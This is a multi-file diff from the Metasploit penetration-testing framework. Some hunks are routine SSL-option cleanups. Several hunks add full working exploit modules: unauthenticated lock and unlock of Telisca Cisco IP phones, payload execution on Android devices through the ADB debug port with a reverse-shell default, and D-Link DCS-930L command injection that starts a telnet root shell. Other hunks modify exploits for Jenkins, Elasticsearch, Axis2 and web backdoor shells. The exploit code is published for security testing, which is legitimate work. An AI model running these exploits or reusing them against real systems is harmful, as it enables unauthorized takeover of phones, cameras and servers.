'Author' => [ 'Vlatko Kosturjak <kost[at]linux.hr>' ],
'License' => MSF_LICENSE,
'DefaultOptions' => { 'SSL' => true }
)
register_options(
@ -29,7 +30,6 @@ class Metasploit3 < Msf::Auxiliary
Opt::RPORT(443),
OptString.new('URI', [true, "URI for OpenVAS omp login. Default is /omp", "/omp"]),
OptBool.new('BLANK_PASSWORDS', [false, "Try blank passwords for all users", false]),
OptBool.new('SSL', [ true, "Negotiate SSL for outgoing connections", true])
], self.class)
register_advanced_options(

View File

@ -16,8 +16,10 @@ class Metasploit3 < Msf::Auxiliary
def initialize
super(
'Name' => 'SNMP Community Scanner',
'Description' => 'Scan for SNMP devices using common community names',
'Name' => 'SNMP Community Login Scanner',
'Description' => %q{
This module logs in to SNMP devices using common community names.
},
'Author' => 'hdm',
'References' =>
[
@ -71,6 +73,14 @@ class Metasploit3 < Msf::Auxiliary
create_credential_login(credential_data)
print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential} (Access level: #{result.access_level}); Proof (sysDescr.0): #{result.proof}"
report_service(
:host => ip,
:port => rport,
:proto => 'udp',
:name => 'snmp',
:info => result.proof,
:state => 'open'
)
else
invalidate_login(credential_data)
print_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status})"

View File

@ -22,14 +22,13 @@ class Metasploit3 < Msf::Auxiliary
and attempts to identify version information for that server.
},
'Author' => ['theLightCosine'],
'License' => MSF_LICENSE
'License' => MSF_LICENSE,
'DefaultOptions' => { 'SSL' => true }
)
register_options([Opt::RPORT(443),
OptString.new('URI', [false, 'The uri path to test against' , '/sdk'])
], self.class)
register_advanced_options([OptBool.new('SSL', [ false, 'Negotiate SSL for outgoing connections', true]),])
end

View File

@ -24,7 +24,8 @@ class Metasploit3 < Msf::Auxiliary
the VMware product
},
'Author' => ['theLightCosine'],
'License' => MSF_LICENSE
'License' => MSF_LICENSE,
'DefaultOptions' => { 'SSL' => true }
)
register_options(
@ -33,8 +34,6 @@ class Metasploit3 < Msf::Auxiliary
OptString.new('USERNAME', [ true, "The username to Authenticate with.", 'root' ]),
OptString.new('PASSWORD', [ true, "The password to Authenticate with.", 'password' ])
], self.class)
register_advanced_options([OptBool.new('SSL', [ false, 'Negotiate SSL for outgoing connections', true]),])
end

View File

@ -22,7 +22,8 @@ class Metasploit3 < Msf::Auxiliary
all the login sessions.
},
'Author' => ['theLightCosine'],
'License' => MSF_LICENSE
'License' => MSF_LICENSE,
'DefaultOptions' => { 'SSL' => true }
)
register_options(
@ -31,8 +32,6 @@ class Metasploit3 < Msf::Auxiliary
OptString.new('USERNAME', [ true, "The username to Authenticate with.", 'root' ]),
OptString.new('PASSWORD', [ true, "The password to Authenticate with.", 'password' ])
], self.class)
register_advanced_options([OptBool.new('SSL', [ false, 'Negotiate SSL for outgoing connections', true]),])
end

View File

@ -23,7 +23,8 @@ class Metasploit3 < Msf::Auxiliary
more domains, it will try to enumerate domain users as well.
},
'Author' => ['theLightCosine'],
'License' => MSF_LICENSE
'License' => MSF_LICENSE,
'DefaultOptions' => { 'SSL' => true }
)
register_options(
@ -32,8 +33,6 @@ class Metasploit3 < Msf::Auxiliary
OptString.new('USERNAME', [ true, "The username to Authenticate with.", 'root' ]),
OptString.new('PASSWORD', [ true, "The password to Authenticate with.", 'password' ])
], self.class)
register_advanced_options([OptBool.new('SSL', [ false, 'Negotiate SSL for outgoing connections', true]),])
end

View File

@ -22,7 +22,8 @@ class Metasploit3 < Msf::Auxiliary
running the web interface. This would include ESX/ESXi and VMWare Server.
},
'Author' => ['theLightCosine'],
'License' => MSF_LICENSE
'License' => MSF_LICENSE,
'DefaultOptions' => { 'SSL' => true }
)
register_options(
@ -32,8 +33,6 @@ class Metasploit3 < Msf::Auxiliary
OptString.new('PASSWORD', [ true, "The password to Authenticate with.", 'password' ]),
OptBool.new('SCREENSHOT', [true, "Wheter or not to try to take a screenshot", true])
], self.class)
register_advanced_options([OptBool.new('SSL', [ false, 'Negotiate SSL for outgoing connections', true]),])
end
def run_host(ip)

View File

@ -22,7 +22,8 @@ class Metasploit3 < Msf::Auxiliary
This can include information about the hardware installed on the host machine.
},
'Author' => ['theLightCosine'],
'License' => MSF_LICENSE
'License' => MSF_LICENSE,
'DefaultOptions' => { 'SSL' => true }
)
register_options(
@ -32,8 +33,6 @@ class Metasploit3 < Msf::Auxiliary
OptString.new('PASSWORD', [ true, "The password to Authenticate with.", 'password' ]),
OptBool.new('HW_DETAILS', [true, "Enumerate the Hardware on the system as well?", false])
], self.class)
register_advanced_options([OptBool.new('SSL', [ false, 'Negotiate SSL for outgoing connections', true]),])
end
def run_host(ip)

View File

@ -25,7 +25,8 @@ class Metasploit3 < Msf::Auxiliary
[
[ 'CVE', '1999-0502'] # Weak password
],
'License' => MSF_LICENSE
'License' => MSF_LICENSE,
'DefaultOptions' => { 'SSL' => true }
)
register_options(
@ -33,8 +34,6 @@ class Metasploit3 < Msf::Auxiliary
OptString.new('URI', [true, "The default URI to login with", "/sdk"]),
Opt::RPORT(443)
], self.class)
register_advanced_options([OptBool.new('SSL', [ false, 'Negotiate SSL for outgoing connections', true]),])
end
def report_cred(opts)

View File

@ -0,0 +1,166 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Telisca IPS Lock Cisco IP Phone Control',
'Description' => %q{
This module allows an unauthenticated attacker to exercise the
"Lock" and "Unlock" functionality of Telisca IPS Lock for Cisco IP
Phones. This module should be run in the VoIP VLAN, and requires
knowledge of the target phone's name (for example, SEP002497AB1D4B).
Set ACTION to either LOCK or UNLOCK. UNLOCK is the default.
},
'References' =>
[
# Publicly disclosed via Metaploit PR
'URL', 'https://github.com/rapid7/metasploit-framework/pull/6470'
],
'Author' =>
[
'Fakhir Karim Reda <karim.fakhir[at]gmail.com>',
'zirsalem'
],
'License' => MSF_LICENSE,
'DisclosureDate' => 'Dec 17 2015',
'Actions' =>
[
['LOCK', 'Description' => 'To lock a phone'],
['UNLOCK', 'Description' => 'To unlock a phone']
],
'DefaultAction' => 'UNLOCK'
))
register_options(
[
OptAddress.new('RHOST', [true, 'The IPS Lock IP Address']),
OptString.new('PHONENAME', [true, 'The name of the target phone'])
], self.class)
end
def print_status(msg='')
super("#{peer} - #{msg}")
end
def print_good(msg='')
super("#{peer} - #{msg}")
end
def print_error(msg='')
super("#{peer} - #{msg}")
end
# Returns the status of the listening port.
#
# @return [Boolean] TrueClass if port open, otherwise FalseClass.
def port_open?
begin
res = send_request_raw({'method' => 'GET', 'uri' => '/'})
return true if res
rescue ::Rex::ConnectionRefused
vprint_status("Connection refused")
rescue ::Rex::ConnectionError
vprint_error("Connection failed")
rescue ::OpenSSL::SSL::SSLError
vprint_error("SSL/TLS connection error")
end
false
end
# Locks a device.
#
# @param phone_name [String] Name of the phone used for the pn parameter.
#
# @return [void]
def lock(phone_name)
res = send_request_cgi({
'method' => 'GET',
'uri' => '/IPSPCFG/user/Default.aspx',
'headers' => {
'Connection' => 'keep-alive',
'Accept-Language' => 'en-US,en;q=0.5'
},
'vars_get' => {
'action' => 'DO',
'tg' => 'L',
'pn' => phone_name,
'dp' => '',
'gr' => '',
'gl' => ''
}
})
if res && res.code == 200
if res.body.include?('Unlock') || res.body.include?('U7LCK')
print_good("The device #{phone_name} is already locked")
elsif res.body.include?('unlocked') || res.body.include?('Locking') || res.body.include?('QUIT')
print_good("Device #{phone_name} successfully locked")
end
elsif res
print_error("Unexpected response #{res.code}")
else
print_error('The connection timed out while trying to lock.')
end
end
# Unlocks a phone.
#
# @param phone_name [String] Name of the phone used for the pn parameter.
#
# @return [void]
def unlock(phone_name)
res = send_request_cgi({
'method' => 'GET',
'uri' => '/IPSPCFG/user/Default.aspx',
'headers' => {
'Connection' => 'keep-alive',
'Accept-Language' => 'en-US,en;q=0.5'
},
'vars_get' => {
'action' => 'U7LCK',
'pn' => phone_name,
'dp' => ''
}
})
if res && res.code == 200
if res.body.include?('Unlock') || res.body.include?('U7LCK')
print_good("The device #{phone_name} is already locked")
elsif res.body.include?('unlocked') || res.body.include?('QUIT')
print_good("The device #{phone_name} successfully unlocked")
end
elsif res
print_error("Unexpected response #{res.code}")
else
print_error('The connection timed out while trying to unlock')
end
end
def run
unless port_open?
print_error('The web server is unreachable!')
return
end
phone_name = datastore['PHONENAME']
case action.name
when 'LOCK'
lock(phone_name)
when 'UNLOCK'
unlock(phone_name)
end
end
end

View File

@ -0,0 +1,85 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex/proto/adb'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
'Name' => 'Android ADB Debug Server Remote Payload Execution',
'Description' => %q{
Writes and spawns a native payload on an android device that is listening
for adb debug messages.
},
'Author' => ['joev'],
'License' => MSF_LICENSE,
'DefaultOptions' => { 'PAYLOAD' => 'linux/armle/shell_reverse_tcp' },
'Platform' => 'linux',
'Arch' => [ARCH_ARMLE, ARCH_X86, ARCH_X86_64, ARCH_MIPSLE],
'Targets' => [
['armle', {'Arch' => ARCH_ARMLE}],
['x86', {'Arch' => ARCH_X86}],
['x64', {'Arch' => ARCH_X86_64}],
['mipsle', {'Arch' => ARCH_MIPSLE}]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jan 01 2016'
))
register_options([
Opt::RPORT(5555),
OptString.new('WritableDir', [true, 'Writable directory', '/data/local/tmp/'])
], self.class)
end
def check
setup_adb_connection do
device_info = @adb_client.connect.data
print_good "Detected device:\n#{device_info}"
return Exploit::CheckCode::Vulnerable
end
Exploit::CheckCode::Unknown
end
def execute_command(cmd, opts)
response = @adb_client.exec_cmd(cmd)
print_good "Command executed, response:\n #{response}"
end
def exploit
setup_adb_connection do
device_data = @adb_client.connect
print_good "Connected to device:\n#{device_data.data}"
execute_cmdstager({
flavor: :echo,
enc_format: :octal,
prefix: '\\\\0',
temp: datastore['WritableDir'],
linemax: Rex::Proto::ADB::Message::Connect::DEFAULT_MAXDATA-8,
background: true,
nodelete: true
})
end
end
def setup_adb_connection(&blk)
begin
print_status "Connecting to device..."
connect
@adb_client = Rex::Proto::ADB::Client.new(sock)
blk.call
ensure
disconnect
end
end
end

View File

@ -67,8 +67,8 @@ class Metasploit3 < Msf::Exploit::Remote
['EDB', '31519'],
['OSVDB', '97520']
],
'Platform' => 'android',
'Arch' => ARCH_DALVIK,
'Platform' => ['android', 'linux'],
'Arch' => [ARCH_DALVIK, ARCH_X86, ARCH_ARMLE, ARCH_MIPSLE],
'DefaultOptions' => { 'PAYLOAD' => 'android/meterpreter/reverse_tcp' },
'Targets' => [ [ 'Automatic', {} ] ],
'DisclosureDate' => 'Dec 21 2012',

View File

@ -0,0 +1,158 @@
##
## This module requires Metasploit: http://metasploit.com/download
## Current source: https://github.com/rapid7/metasploit-framework
###
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::Telnet
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'D-Link DCS-930L Authenticated Remote Command Execution',
'Description' => %q{
The D-Link DCS-930L Network Video Camera is vulnerable
to OS Command Injection via the web interface. The vulnerability
exists at /setSystemCommand, which is accessible with credentials.
This vulnerability was present in firmware version 2.01 and fixed
by 2.12.
},
'Author' =>
[
'Nicholas Starke <nick@alephvoid.com>'
],
'License' => MSF_LICENSE,
'DisclosureDate' => 'Dec 20 2015',
'Privileged' => true,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Payload' =>
{
'Compat' => {
'PayloadType' => 'cmd_interact',
'ConnectionType' => 'find',
},
},
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
'Targets' =>
[
[ 'Automatic', { } ],
],
'DefaultTarget' => 0
))
register_options(
[
OptString.new('USERNAME', [ true, 'User to login with', 'admin']),
OptString.new('PASSWORD', [ false, 'Password to login with', ''])
], self.class)
register_advanced_options(
[
OptInt.new('TelnetTimeout', [ true, 'The number of seconds to wait for a reply from a Telnet Command', 10]),
OptInt.new('TelnetBannerTimeout', [ true, 'The number of seconds to wait for the initial banner', 25])
], self.class)
end
def telnet_timeout
(datastore['TelnetTimeout'] || 10)
end
def banner_timeout
(datastore['TelnetBannerTimeout'] || 25)
end
def exploit
user = datastore['USERNAME']
pass = datastore['PASSWORD'] || ''
test_login(user, pass)
exploit_telnet
end
def test_login(user, pass)
print_status("#{peer} - Trying to login with #{user} : #{pass}")
res = send_request_cgi({
'uri' => '/',
'method' => 'GET',
'authorization' => basic_auth(user, pass)
})
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - invalid credentials (response code: #{res.code}") if res.code != 200
print_good("#{peer} - Successful login #{user} : #{pass}")
end
def exploit_telnet
telnet_port = rand(32767) + 32768
print_status("#{peer} - Telnet Port: #{telnet_port}")
cmd = "telnetd -p #{telnet_port} -l/bin/sh"
telnet_request(cmd)
print_status("#{rhost}:#{telnet_port} - Trying to establish telnet connection...")
ctx = { 'Msf' => framework, 'MsfExploit' => self }
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnet_port, 'Context' => ctx, 'Timeout' => telnet_timeout })
if sock.nil?
fail_with(Failure::Unreachable, "#{rhost}:#{telnet_port} - Backdoor service unreachable")
end
add_socket(sock)
print_status("#{rhost}:#{telnet_port} - Trying to establish a telnet session...")
prompt = negotiate_telnet(sock)
if prompt.nil?
sock.close
fail_with(Failure::Unknown, "#{rhost}:#{telnet_port} - Unable to establish a telnet session")
else
print_good("#{rhost}:#{telnet_port} - Telnet session successfully established")
end
handler(sock)
end
def telnet_request(cmd)
uri = '/setSystemCommand'
begin
res = send_request_cgi({
'uri' => uri,
'method' => 'POST',
'vars_post' => {
'ReplySuccessPage' => 'docmd.htm',
'ReplyErrorPage' => 'docmd.htm',
'SystemCommand' => cmd,
'ConfigSystemCommand' => 'Save'
}
})
return res
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end
end
def negotiate_telnet(sock)
begin
Timeout.timeout(banner_timeout) do
while(true)
data = sock.get_once(-1, telnet_timeout)
return nil if not data or data.length == 0
if data =~ /BusyBox/
return true
end
end
end
rescue ::Timeout::Error
return nil
end
end
end

View File

@ -52,10 +52,18 @@ class Metasploit3 < Msf::Exploit::Remote
OptString.new('TEMP', [true, 'Folder to write the payload to', '/tmp']),
Opt::RPORT('8080')
], self.class)
register_advanced_options([
OptPort.new('XJenkinsCliPort', [false, 'The X-Jenkins-CLI port. If this is set, the TARGETURI option is ignored.'])
], self.class)
end
def cli_port
@jenkins_cli_port || datastore['XJenkinsCliPort']
end
def exploit
unless vulnerable?
if cli_port == 0 && !vulnerable?
fail_with(Failure::Unknown, "#{peer} - Jenkins is not vulnerable, aborting...")
end
invoke_remote_method(set_payload)
@ -155,7 +163,7 @@ class Metasploit3 < Msf::Exploit::Remote
def invoke_remote_method(serialized_java_stream)
begin
socket = connect(true, {'RPORT' => @jenkins_cli_port})
socket = connect(true, {'RPORT' => cli_port})
print_status 'Sending headers...'
socket.put(read_bin_file('serialized_jenkins_header'))

View File

@ -185,7 +185,8 @@ class Metasploit3 < Msf::Exploit::Remote
},
"script_fields" => {
"msf_result" => {
"script" => java
"script" => java,
"lang" => "groovy"
}
}
}

View File

@ -11,6 +11,7 @@ class Metasploit3 < Msf::Exploit::Remote
HttpFingerprint = { :pattern => [ /Apache.*(Coyote|Tomcat)|Jetty.*/ ] }
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
@ -74,6 +75,11 @@ class Metasploit3 < Msf::Exploit::Remote
def upload_exec(session,rpath)
contents=''
name = Rex::Text.rand_text_alpha(8)
# We must register this file early, that way the on_new_session method
# won't miss it if FileDropper's cleanup routine kicks in.
register_file_for_cleanup("webapps#{rpath}/WEB-INF/services/#{name}.jar")
services_xml = %Q{
<service name="#{name}" scope="application">
<description>
@ -215,7 +221,6 @@ class Metasploit3 < Msf::Exploit::Remote
end
if res and res.code > 200 and res.code < 300
cleanup_instructions(rpath, name) # display cleanup info
throw :stop # exit loop
elsif res and res.code == 401
if (res.headers['WWW-Authenticate'])
@ -225,7 +230,6 @@ class Metasploit3 < Msf::Exploit::Remote
if authmsg
print_error("WWW-Authenticate: %s" % authmsg)
end
cleanup_instructions(rpath, name) # display cleanup info
raise ::Rex::ConnectionError
throw :stop # exit loop
end
@ -236,19 +240,6 @@ class Metasploit3 < Msf::Exploit::Remote
end
end
def cleanup_instructions(rpath, name)
print_line("")
print_status("NOTE: You will need to delete the web service that was uploaded.")
print_line("")
print_status("Using meterpreter:")
print_status("rm \"webapps#{rpath}/WEB-INF/services/#{name}.jar\"")
print_line("")
print_status("Using the shell:")
print_status("cd \"webapps#{rpath}/WEB-INF/services\"")
print_status("del #{name}.jar")
print_line("")
end
def exploit
user = datastore['USERNAME']
pass = datastore['PASSWORD']

View File

@ -13,9 +13,9 @@ class Metasploit3 < Msf::Exploit::Remote
def initialize(info = {})
super(update_info(info,
'Name' => 'Jenkins Script-Console Java Execution',
'Name' => 'Jenkins-CI Script-Console Java Execution',
'Description' => %q{
This module uses the Jenkins Groovy script console to execute
This module uses the Jenkins-CI Groovy script console to execute
OS commands using Java.
},
'Author' =>
@ -52,7 +52,7 @@ class Metasploit3 < Msf::Exploit::Remote
[
OptString.new('USERNAME', [ false, 'The username to authenticate as', '' ]),
OptString.new('PASSWORD', [ false, 'The password for the specified username', '' ]),
OptString.new('TARGETURI', [ true, 'The path to jenkins', '/jenkins/' ]),
OptString.new('TARGETURI', [ true, 'The path to the Jenkins-CI application', '/jenkins/' ])
], self.class)
end
@ -178,8 +178,8 @@ class Metasploit3 < Msf::Exploit::Remote
end
if (res.body =~ /"\.crumb", "([a-z0-9]*)"/)
print_status("Using CSRF token: '#{$1}'");
@crumb = $1;
print_status("Using CSRF token: '#{$1}'")
@crumb = $1
end
case target['Platform']

View File

@ -15,7 +15,7 @@ class Metasploit3 < Msf::Exploit::Remote
'Name' => 'Simple Backdoor Shell Remote Code Execution',
'Description' => %q{
This module exploits unauthenticated simple web backdoor shells by leveraging the
common backdoor shell's CMD parameter to execute commands. The SecLists project of
common backdoor shell's vulnerable parameter to execute commands. The SecLists project of
Daniel Miessler and Jason Haddix has a lot of samples for these kind of backdoor shells
which is categorized under Payloads.
},
@ -53,6 +53,8 @@ class Metasploit3 < Msf::Exploit::Remote
register_options(
[
OptString.new('TARGETURI', [true, 'The path of a backdoor shell', 'cmd.php']),
OptString.new('VAR', [true, 'The command variable', 'cmd']),
OptEnum.new('METHOD', [true, 'HTTP Method', 'GET', ['GET', 'POST', 'PUT']])
],self.class)
end
@ -67,10 +69,10 @@ class Metasploit3 < Msf::Exploit::Remote
def http_send_command(cmd)
res = send_request_cgi({
'method' => 'GET',
'method' => datastore['METHOD'],
'uri' => normalize_uri(target_uri.path),
'vars_get' => {
'cmd' => cmd
datastore['VAR'] => cmd
}
})
unless res && res.code == 200

Some files were not shown because too many files have changed in this diff Show More